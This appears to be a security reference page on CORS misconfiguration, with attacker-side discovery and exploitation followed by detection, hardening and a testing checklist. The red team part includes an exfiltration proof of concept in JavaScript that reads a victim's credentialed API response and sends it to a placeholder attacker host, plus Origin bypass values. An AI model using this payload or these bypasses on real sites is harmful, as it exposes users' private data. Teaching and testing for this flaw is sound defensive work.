CORS Misconfiguration
The Same-Origin Policy stops a site from reading responses from another origin. CORS (Cross-Origin Resource Sharing) is how a server relaxes that rule on purpose, telling the browser via headers “this other origin may read me.” The bug appears when the server relaxes too much: if it reflects any Origin or trusts origins it shouldn’t and allows credentials, an attacker site reads the victim’s authenticated data.
Threat model
Section titled “Threat model”CORS doesn’t protect the server: it protects the victim’s browser from another site reading responses carrying their cookies. A lax config breaks exactly that. The lethal combination is a reflected Access-Control-Allow-Origin + Access-Control-Allow-Credentials: true: the victim’s browser, logged into their bank, lets evil.com do fetch(..., {credentials:'include'}) and read the response.
Anatomy
Section titled “Anatomy”# requestGET /api/me HTTP/1.1Origin: https://evil.comCookie: session=...
# vulnerable responseAccess-Control-Allow-Origin: https://evil.com <- reflects the attacker OriginAccess-Control-Allow-Credentials: true <- and allows credentialsRed Team
Section titled “Red Team”Discovery
Section titled “Discovery”Try different Origin values and see what the response reflects (-H "Origin: ..."):
# does it reflect any origin?curl -s -I https://target/api/me -H "Origin: https://evil.com" | grep -i access-control
# frequent misconfig cases:Origin: https://evil.com -> reflected as-isOrigin: null -> ACAO: null (sandbox iframes, data:, redirects)Origin: https://target.evil.com -> weak substring match ("target" as prefix)Origin: https://evil-target.com -> badly-checked suffixOrigin: https://target.com.evil.com -> "endsWith without a dot"By hand: exfiltration PoC
Section titled “By hand: exfiltration PoC”If it reflects Origin + credentials true, an attacker page steals data:
<script> fetch("https://target/api/me", {credentials:"include"}) .then(r => r.text()) .then(d => fetch("https://attacker/x?d=" + encodeURIComponent(d)));</script>Allowlist bypass variants:
null: many backends acceptOrigin: nulland reflect it; generated from asandboxiframe or adata:document.- Weak regex/substring:
Originthat contains the expected domain (target.com.evil.com,eviltarget.com). - Trusted subdomains + XSS: if
*.target.comis allowed and any subdomain has XSS, the trust is abused. - Mixed protocol / port: accepting
http://or any port widens the surface.
- Burp Suite — scanner + repeater to vary
Origin. - CORScanner, Corsy — automated detection of lax configs.
- Browser console to validate the real credentialed
fetch.
Impact
Section titled “Impact”Read of the victim’s authenticated data (profile, tokens, messages), theft of CSRF tokens/API keys exposed by the API, and pivot to actions if the API returns what’s needed.
Blue Team
Section titled “Blue Team”Detection
Section titled “Detection”- Responses reflecting arbitrary
OrigininAccess-Control-Allow-Origin. ACAO: *alongside sensitive content, or reflectedACAOwithAllow-Credentials: true.- Unexpected origins in preflight (
OPTIONS) logs.
Telemetry
Section titled “Telemetry”Log the incoming Origin and outgoing ACAO; alert when origins outside the allowlist are reflected.
Hardening
Section titled “Hardening”- Strict, exact allowlist of origins (full comparison, not lax substring/regex); never reflect
Originunvalidated. - Never combine
Access-Control-Allow-Origin: *(or arbitrary reflection) withAccess-Control-Allow-Credentials: true. - Reject
Origin: null; don’t include it in the allowlist. - Limit allowed methods and headers to the minimum; watch trusted subdomains (XSS in one exposes them all).
- Don’t rely on CORS alone to protect sensitive data: authenticate and authorize every endpoint.
Response
Section titled “Response”Fix the allowlist, rotate tokens/keys the API could have exposed, review cross-origin access in logs.
CVEs and real-world cases
Section titled “CVEs and real-world cases”- Mass bug bounties — reflected
Origin+ credentials is one of the most-reported classes on HackerOne (user data read by evil.com). - Appliance panels and APIs — lax CORS configs (reflected
Originwith credentials) found repeatedly in audits and bug bounties; usually configuration flaws rather than a specific CVE. - Jira / GitLab / many APIs — historical exploitable
nullorigin and substring matching. - PortSwigger Web Security Academy has reproducible labs for each variant.
Testing checklist
Section titled “Testing checklist”- Does the response reflect an arbitrary
OrigininACAO? -
Allow-Credentials: truealongside the reflection? (critical combination) - Is
Origin: nullaccepted? - Is validation weak substring/regex? (try
target.com.evil.com) - Is
*.target.comtrusted with takeover-able subdomains or XSS? - Can
/api/mebe exfiltrated from a third-party page? - Does the API protect data beyond CORS too (per-endpoint authZ)?